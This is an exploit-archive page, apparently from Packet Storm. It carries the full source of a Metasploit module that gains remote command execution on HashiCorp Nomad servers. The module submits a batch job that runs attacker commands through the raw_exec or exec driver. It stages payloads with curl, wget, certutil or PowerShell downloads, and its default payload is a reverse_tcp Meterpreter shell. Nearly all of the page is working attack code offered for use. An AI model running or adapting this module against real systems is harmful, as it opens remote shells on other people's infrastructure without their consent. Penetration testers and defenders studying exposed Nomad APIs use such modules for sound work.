what you don't know can hurt you

HashiCorp Nomad Remote Command Execution

HashiCorp Nomad Remote Command Execution
Posted Jun 15, 2021
Authored by Wyatt Dahlenburg | Site metasploit.com

This Metasploit module lets you create a batch job on HashiCorp's Nomad service to spawn a shell. The default option is to use the raw_exec driver, which runs with high privileges. Development servers and clients explicitly enabling the raw_exec plugin can spawn these type of jobs. Regular exec jobs can be created in a similar fashion at a lower privilege level.

tags | exploit, shell
MD5 | 43fcfd455dd3900ac07eb5c17b346b5d

HashiCorp Nomad Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'HashiCorp Nomad Remote Command Execution',
'Description' => %q{
Create a batch job on HashiCorp's Nomad service to spawn a shell. The default option
is to use the 'raw_exec' driver, which runs with high privileges. Development servers
and client's explicitly enabling the 'raw_exec' plugin can spawn these type of jobs.
Regular 'exec' jobs can be created in a similar fashion at a lower privilege level.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Wyatt Dahlenburg (@wdahlenb)',
],
'References' =>
[
[ 'URL', 'https://www.nomadproject.io/' ]
],
'Targets' =>
[
[
'Linux',
{
'Platform' => 'linux',
'CmdStagerFlavor' => ['bourne', 'echo', 'printf', 'curl', 'wget'],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'WfsDelay' => 10 }
}
],
[
'Windows',
{
'Platform' => 'win',
'CmdStagerFlavor' => [ 'psh_invokewebrequest', 'certutil', 'vbs' ],
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'WfsDelay' => 10 }
}
]
],
'Payload' => {},
'Privileged' => false,
'DefaultTarget' => 0,
'DisclosureDate' => '2021-05-17',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'SideEffects' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),
OptString.new('DATACENTER', [true, 'The datacenter to run against', 'dc1']),
OptString.new('JOB_NAME', [true, 'Name of job to run (default random)', '']),
OptString.new('JOB_TYPE', [true, 'Driver (raw_exec or exec)', 'raw_exec']),
Opt::RPORT(4646),
OptString.new('TARGETURI', [true, 'The base path', '/']),
OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false])
]
)
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/v1/agent/self'),
'headers' => {
'X-Nomad-Token' => datastore['ACL_TOKEN']
}
})

unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end

unless res.code == 200
vprint_error 'Unexpected reply'
return CheckCode::Safe
end

agent_info = JSON.parse(res.body)

if agent_info['config']['Plugins']
agent_info['config']['Plugins'].each do |plugin|
if plugin['Name'] == 'raw_exec' && plugin['Config']['enabled'] == true
return CheckCode::Vulnerable
end
end
end

if agent_info['config']['Client']['Options']['driver.raw_exec.enable'] == 'true' || agent_info['config']['Client']['Options']['driver.raw_exec.enable'] == '1'
return CheckCode::Vulnerable
end

if datastore['JOB_TYPE'] == 'raw_exec' && agent_info['config']['Client']['DisableRemoteExec'] == false
print_status 'raw_exec doesn\'t appear to be supported. Try setting JOB_TYPE to exec instead.'
return CheckCode::Appears
elsif datastore['JOB_TYPE'] == 'exec' && agent_info['config']['Client']['DisableRemoteExec'] == false
return CheckCode::Vulnerable
end

CheckCode::Safe
rescue JSON::ParserError
vprint_error 'Failed to parse JSON output.'
return CheckCode::Unknown
end

def execute_command(cmd, _opts = {})
uri = target_uri.path
job_name = datastore['JOB_NAME'] == '' ? Rex::Text.rand_text_alpha(5..10) : datastore['JOB_NAME']
print_status("Creating job '#{job_name}'")

case target.name
when /Linux/
arg1 = 'sh'
arg2 = '-c'
when /Windows/
arg1 = 'cmd.exe'
arg2 = '/c'
end

res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(uri, 'v1/jobs'),
'headers' => {
'X-Nomad-Token' => datastore['ACL_TOKEN']
},
'ctype' => 'application/json',
'data' => {
Job: {
ID: job_name,
Name: job_name,
Type: 'batch',
Datacenters: [datastore['DATACENTER']],
TaskGroups: [
{
Name: job_name,
Count: 1,
Tasks: [
{
Name: job_name,
Driver: datastore['JOB_TYPE'],
User: '',
Config: {
command: arg1,
args: [
arg2,
cmd.to_s
]
},
Resources: {
CPU: 500,
MemoryMB: 256
},
LogConfig: {
MaxFiles: 1,
MaxFileSizeMB: 1
}
}
],
RestartPolicy: {
Attempts: 0
},
EphemeralDisk: {
SizeMB: 300
}
}
]
}
}.to_json
})
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Nomad API.')
end

job_info = JSON.parse(res.body)
eval_id = job_info['EvalID']

print_status("Job '#{job_name}' successfully created as '#{eval_id}'.")
print_status("Waiting for job '#{job_name}' to trigger")
rescue JSON::ParserError
vprint_error 'Failed to parse JSON output.'
end

def exploit
execute_cmdstager
end
end
Login or Register to add favorites

File Archive:

July 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    13 Files
  • 2
    Jul 2nd
    12 Files
  • 3
    Jul 3rd
    1 Files
  • 4
    Jul 4th
    2 Files
  • 5
    Jul 5th
    34 Files
  • 6
    Jul 6th
    21 Files
  • 7
    Jul 7th
    21 Files
  • 8
    Jul 8th
    13 Files
  • 9
    Jul 9th
    6 Files
  • 10
    Jul 10th
    1 Files
  • 11
    Jul 11th
    3 Files
  • 12
    Jul 12th
    15 Files
  • 13
    Jul 13th
    19 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    15 Files
  • 16
    Jul 16th
    9 Files
  • 17
    Jul 17th
    2 Files
  • 18
    Jul 18th
    2 Files
  • 19
    Jul 19th
    19 Files
  • 20
    Jul 20th
    21 Files
  • 21
    Jul 21st
    53 Files
  • 22
    Jul 22nd
    14 Files
  • 23
    Jul 23rd
    14 Files
  • 24
    Jul 24th
    1 Files
  • 25
    Jul 25th
    1 Files
  • 26
    Jul 26th
    21 Files
  • 27
    Jul 27th
    8 Files
  • 28
    Jul 28th
    9 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close